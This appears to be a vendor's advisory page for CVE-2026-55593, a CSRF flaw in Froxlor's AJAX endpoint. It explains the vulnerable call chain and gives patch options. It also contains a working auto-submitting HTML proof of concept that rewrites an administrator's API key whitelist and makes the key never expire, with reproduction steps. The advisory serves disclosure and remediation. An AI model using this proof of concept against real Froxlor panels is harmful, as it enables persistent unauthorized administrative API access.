CVE-2026-55593 is a medium-severity (CVSS 6.5) Cross-Site Request Forgery (CSRF) vulnerability in froxlor/froxlor. O3 Security confirms whether CVE-2026-55593 is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
Froxlor has CSRF Vulnerability in AJAX Endpoint — Missing Cross-Site Request Forgery Protection
Real-World Exposure
froxlor/froxlorReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The Froxlor AJAX endpoint (lib/ajax.php) is missing Cross-Site Request Forgery (CSRF) protection. While the main application (lib/init.php) enforces CSRF token validation on all state-changing HTTP requests (POST/PUT/PATCH/DELETE), the standalone lib/ajax.php endpoint bypasses this mechanism entirely, validating only the user's session. An attacker can craft a malicious webpage that, when visited by an authenticated Froxlor administrator, silently modifies API key properties (e.g., adding the attacker's IP to the allowed_from whitelist or extending the valid_until expiration).
Affected Component
- File:
lib/ajax.php— the AJAX endpoint entry point (bypasseslib/init.php) - File:
lib/Froxlor/Ajax/Ajax.php:66-92—Ajax::handle()(no CSRF check before routing) - File:
lib/Froxlor/Ajax/Ajax.php:257-315—Ajax::editApiKey()(writes to database without CSRF check) - Version: Froxlor 2.3.7 (likely all prior 2.x versions)
Complete Call Chain: Entry Point → Vulnerable Code
Step 1: Entry Point — lib/ajax.php (standalone bootstrap, bypasses lib/init.php)
// lib/ajax.php:26-47
namespace Froxlor;
use Froxlor\Ajax\Ajax;
require_once dirname(__DIR__) . '/vendor/autoload.php';
require_once dirname(__DIR__) . '/lib/userdata.inc.php';
require_once dirname(__DIR__) . '/lib/functions.php';
require_once dirname(__DIR__) . '/lib/tables.inc.php';
// CRITICAL: This file does NOT include lib/init.php
// Therefore: NO CSRF token is checked before processing the request
echo (new Ajax)->handle();
Contrast with normal flow: All admin/customer pages (e.g., admin_customers.php, customer_domains.php) do:
const AREA = 'admin';
require __DIR__ . '/lib/init.php'; // <-- This enforces CSRF at lines 363-369
Step 2: Ajax Constructor — Session Created, No CSRF Check
// lib/Froxlor/Ajax/Ajax.php:54-61
public function __construct()
{
$this->action = Request::any('action'); // <-- User-controlled from GET/POST
$this->theme = Request::any('theme', 'Froxlor');
UI::sendHeaders(); // Starts session, sets security headers
UI::sendSslHeaders(); // HSTS headers
// MISSING: CSRF token validation on POST/PUT/PATCH/DELETE
}
Step 3: Ajax::handle() — Session Validation Only, Routes to Action
// lib/Froxlor/Ajax/Ajax.php:66-92
public function handle()
{
$this->userinfo = $this->getValidatedSession(); // Only checks: isset($_SESSION['userinfo'])
// MISSING: CSRF token validation before routing
// Comparison: init.php lines 363-369 WOULD check here:
// if (in_array($_SERVER['REQUEST_METHOD'], ['POST', 'PUT', 'PATCH', 'DELETE'])) {
// $current_token = Request::post('csrf_token', ...);
// if ($current_token != CurrentUser::getField('csrf_token')) { ERROR; }
// }
switch ($this->action) {
case 'editapikey':
return $this->editApiKey(); // <-- State-changing operation, no CSRF guard
case 'updatetablelisting':
return $this->updateTablelisting(); // <-- Also POST, also no CSRF
// ... other cases
}
}
Step 4: getValidatedSession() — Only Checks Session Exists
// lib/Froxlor/Ajax/Ajax.php:97-103
private function getValidatedSession(): array
{
if (CurrentUser::hasSession() == false) {
throw new Exception("No valid session");
}
return CurrentUser::getData();
// hasSession() implementation (CurrentUser.php:47-50):
// return !empty($_SESSION) && !empty($_SESSION['userinfo']);
// This ONLY verifies a session exists.
// It does NOT verify the request origin or CSRF token.
}
Step 5: editApiKey() — Database Mutation Without Origin Validation
// lib/Froxlor/Ajax/Ajax.php:257-315
private function editApiKey()
{
// All three parameters come from attacker-controlled POST body:
$keyid = Request::post('id', 0); // Source: $_POST['id']
$allowed_from = Request::post('allowed_from', ""); // Source: $_POST['allowed_from']
$valid_until = Request::post('valid_until', ""); // Source: $_POST['valid_until']
// ... IP format validation (not security-relevant for CSRF) ...
// SINK: Direct database mutation
$upd_stmt = Database::prepare("
UPDATE `api_keys` SET
`valid_until` = :vu, `allowed_from` = :af
WHERE `id` = :keyid AND `adminid` = :aid AND `customerid` = :cid
");
Database::pexecute($upd_stmt, [
'keyid' => $keyid,
'af' => $allowed_from, // Attacker's IP written here
'vu' => $valid_until_db, // -1 = never expires
'aid' => $this->userinfo['adminid'],
'cid' => $cid
]);
return $this->jsonResponse(['allowed_from' => $allowed_from, 'valid_until' => $valid_until]);
}
Step 6: Evidence from Legitimate Frontend — No CSRF Token Sent Even in Normal Usage
// templates/Froxlor/assets/js/jquery/apikeys.js:9-17
// Even the legitimate frontend does NOT send a csrf_token:
$.ajax({
url: "lib/ajax.php?action=editapikey",
type: "POST",
dataType: "json",
data: {
id: akid,
allowed_from: _this.val(),
valid_until: $('div[data-entry="' + akid + '"] #valid_until').val()
// NOTE: No csrf_token field here — the backend doesn't require it
},
// ...
});
This confirms: the backend does not validate CSRF tokens, so the frontend code does not bother sending one.
CSRF Protection Gap: Side-by-Side Comparison
| Aspect | lib/init.php (Normal Pages) | lib/ajax.php (AJAX Endpoint) |
|---|---|---|
| Includes init.php | Yes (all admin_.php, customer_.php) | No — standalone bootstrap |
| Session validation | ✅ CurrentUser::hasSession() | ✅ CurrentUser::hasSession() |
| CSRF token generation | ✅ Froxlor::genSessionId(20) | ❌ Not generated |
| CSRF token check (POST/PUT/PATCH/DELETE) | ✅ Lines 363-369 | ❌ Missing entirely |
| Rate limiting | ✅ RateLimiter::run() | ❌ Not called |
| Area enforcement | ✅ Admin/Customer area check | ❌ Not enforced |
Vulnerability Verification
Attack Path (Complete)
[Attacker] Hosts malicious HTML page at https://attacker.com/csrf.html
<form id="csrf" action="https://froxlor.example.com/lib/ajax.php?action=editapikey"
method="POST">
<input type="hidden" name="id" value="1">
<input type="hidden" name="allowed_from" value="ATTACKER_IP">
<input type="hidden" name="valid_until" value="-1">
</form>
<script>document.getElementById('csrf').submit();</script>
│
▼
[Victim] Froxlor administrator browses to https://attacker.com/csrf.html
- Victim has an active session at https://froxlor.example.com
- Session cookie: PHPSESSID=<valid>, SameSite=Lax
│
▼
[Browser] Auto-submits POST to https://froxlor.example.com/lib/ajax.php?action=editapikey
- Cookie behavior depends on SameSite policy (see below)
│
▼
[Server: lib/ajax.php]
→ require userdata.inc.php, functions.php, tables.inc.php
→ (new Ajax)->handle()
│
▼
[Server: Ajax::__construct()] (Ajax.php:54-61)
→ $this->action = 'editapikey' (from GET query string)
→ UI::sendHeaders() → session_start()
→ NO CSRF CHECK
│
▼
[Server: Ajax::handle()] (Ajax.php:66-68)
→ getValidatedSession() → CurrentUser::hasSession() → TRUE
(session cookie was sent with request)
→ NO CSRF CHECK before routing
│
▼
[Server: Ajax::editApiKey()] (Ajax.php:257-315)
→ $keyid = 1 (from POST)
→ $allowed_from = 'ATTACKER_IP' (from POST)
→ $valid_until_db = -1 (from POST, parsed)
→ UPDATE api_keys SET allowed_from='ATTACKER_IP', valid_until=-1 WHERE id=1
│
▼
[Impact] API key #1 now allows connections from ATTACKER_IP, never expires
SameSite=Lax Analysis
Froxlor sets session cookie with SameSite=Lax (UI.php:124):
// lib/Froxlor/UI/Panel/UI.php:118-125
session_set_cookie_params([
'path' => '/',
'domain' => self::getCookieHost(),
'secure' => self::requestIsHttps(), // FALSE on HTTP deployments
'httponly' => true,
'samesite' => 'Lax'
]);
session_start();
Why SameSite=Lax is NOT a complete mitigation:
-
HTTP deployments: When
requestIsHttps()returns false (plain HTTP), thesecureflag is false. Many browsers (particularly older Safari and Firefox) requireSecurefor strict SameSite enforcement. Froxlor's own documentation supports HTTP deployment for internal networks, making this a realistic scenario. -
Safari browser: Safari's SameSite implementation has known inconsistencies. Safari 13-15 on iOS/macOS may not enforce SameSite=Lax on POST requests as strictly as Chrome.
-
Same-site subdomain attacks: If an attacker compromises a subdomain of the same registrable domain (e.g., via DNS rebinding or subdomain takeover), SameSite=Lax provides zero protection — cookies are sent freely.
-
Defense-in-depth failure: CSRF tokens are the primary, proven defense against CSRF. SameSite cookies are a secondary defense. The absence of the primary defense leaves the application vulnerable whenever the secondary defense fails (browser bugs, HTTP deployments, subdomain attacks).
Confirmed Vulnerable Actions in Ajax::handle()
All POST-based actions in the switch statement lack CSRF protection:
| Action | Method | State Change | Risk |
|---|---|---|---|
editapikey | POST | UPDATE api_keys SET allowed_from, valid_until | HIGH |
updatetablelisting | POST | UPDATE panel_usercolumns (user preferences) | Low |
getConfigDetails | POST | Read-only (config parsing) | None |
Impact
- Confidentiality: None — the attacker cannot directly read data through this CSRF vector
- Integrity: Medium — API key properties (
allowed_from,valid_until) can be modified to add the attacker's IP to the whitelist and extend validity indefinitely. This is a stepping stone to API access (combined with another attack to obtain the API secret, such as VULN-20260526-001 plaintext secret storage). - Availability: Low — the attacker could set
valid_untilto a past timestamp, disabling the API key
Worst-case scenario: An administrator-level API key has its allowed_from expanded to include the attacker's IP and its valid_until set to -1 (never expires). If the attacker later obtains the plaintext API secret (e.g., via database backup exposure — see VULN-20260526-001), they gain persistent, unauthorized API access with administrator privileges.
Proof of Concept
PoC HTML File
<!-- csrf_poc.html -->
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>CSRF PoC - Froxlor AJAX Endpoint</title>
</head>
<body>
<h1>Cross-Site Request Forgery Proof of Concept</h1>
<p>Target: Froxlor AJAX endpoint (lib/ajax.php?action=editapikey)</p>
<p>If you see this page, the form has auto-submitted.</p>
<!-- This form auto-submits to modify API key properties -->
<form id="csrf-form"
action="http://froxlor.example.com/lib/ajax.php?action=editapikey"
method="POST">
<input type="hidden" name="id" value="1">
<input type="hidden" name="allowed_from" value="10.99.99.99">
<input type="hidden" name="valid_until" value="">
<!-- empty valid_until = -1 (never expires) -->
</form>
<script>
// Auto-submit on page load
document.addEventListener('DOMContentLoaded', function() {
document.getElementById('csrf-form').submit();
});
</script>
</body>
</html>
Reproduction Steps
-
Setup:
- Deploy Froxlor 2.3.7 on a test server (e.g.,
http://192.168.1.100/) - Create an administrator account and log in
- Create at least one API key (Settings → API Keys)
- Deploy Froxlor 2.3.7 on a test server (e.g.,
-
Prepare PoC:
- Host the PoC HTML file on a different origin (e.g.,
http://attacker.local/csrf_poc.html) - Note the Froxlor server is on
http://(not HTTPS, common for internal deployments)
- Host the PoC HTML file on a different origin (e.g.,
-
Execute:
- Ensure the Froxlor administrator has an active session
- Open the PoC HTML file in the same browser (different tab)
- The form auto-submits
-
Verify:
- Check the API key in the Froxlor admin panel
- The
allowed_fromfield now contains10.99.99.99 - The
valid_untilfield shows no expiration - Or verify directly:
SELECT id, allowed_from, valid_until FROM api_keys WHERE id=1;
Expected Result
Before attack:
id | allowed_from | valid_until
1 | | 1735689600
After attack:
id | allowed_from | valid_until
1 | 10.99.99.99 | -1
Root Cause
The lib/ajax.php endpoint was implemented as a completely standalone entry point that initializes its own minimal environment. It does not include lib/init.php, which provides centralized security controls (CSRF validation, rate limiting, area enforcement) for all standard admin and customer pages.
Architecturally, there are two security enforcement paths:
- Normal pages:
admin_*.php→require lib/init.php→ CSRF check ✅ - AJAX endpoint:
lib/ajax.php→new Ajax()->handle()→ CSRF check ❌
The Ajax class performs its own session validation (getValidatedSession()) but omits CSRF token verification entirely. The legitimate frontend JavaScript code (apikeys.js) also does not send a CSRF token because the backend does not require one.
Fix Recommendation
Option A (Recommended): Route AJAX Through init.php
Refactor lib/ajax.php to use the standard bootstrap, ensuring all security controls apply uniformly:
// lib/ajax.php — Refactored
const AREA = 'ajax';
require __DIR__ . '/init.php';
use Froxlor\Ajax\Ajax;
try {
echo (new Ajax)->handle();
} catch (Exception $e) {
header("Content-Type: application/json");
echo \Froxlor\Api\Response::jsonErrorResponse($e->getMessage(), 500);
}
Pros: All security controls (CSRF, rate limiting, session management, area enforcement) apply uniformly. No code duplication. Cons: Requires frontend changes to include CSRF token in AJAX requests.
Option B (Minimal): Add CSRF Check to Ajax Class
Add CSRF token validation directly in the Ajax class:
// lib/Froxlor/Ajax/Ajax.php
public function handle()
{
$this->userinfo = $this->getValidatedSession();
+ // CSRF Protection — mirror init.php:363-369
+ if (in_array($_SERVER['REQUEST_METHOD'], ['POST', 'PUT', 'PATCH', 'DELETE'])) {
+ $token_from_request = Request::post('csrf_token',
+ $_SERVER['HTTP_X_CSRF_TOKEN'] ?? null);
+ $stored_token = $this->userinfo['csrf_token'] ?? '';
+ if (empty($token_from_request) || !hash_equals($stored_token, $token_from_request)) {
+ return $this->errorResponse('CSRF validation failed', 403);
+ }
+ }
switch ($this->action) {
// ... existing cases unchanged
}
}
Frontend changes required (for both options):
// templates/Froxlor/assets/js/jquery/apikeys.js
$.ajax({
url: "lib/ajax.php?action=editapikey",
type: "POST",
dataType: "json",
data: {
id: akid,
allowed_from: _this.val(),
valid_until: $('div[data-entry="' + akid + '"] #valid_until').val(),
+ csrf_token: $('meta[name="csrf-token"]').attr('content')
},
// ...
});
CSRF Token Available in Twig Templates
The CSRF token is already available as a Twig global variable ({{ csrf_token }}) set in init.php:361. Templates can expose it via:
<meta name="csrf-token" content="{{ csrf_token }}">
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐘Packagist | froxlor/froxlor | all versions | 2.3.8 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for froxlor/froxlor. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update froxlor/froxlor to 2.3.8 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-55593 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether CVE-2026-55593 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to CVE-2026-55593. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2026-55593 in your dependencies?
O3 detects CVE-2026-55593 across Packagist dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.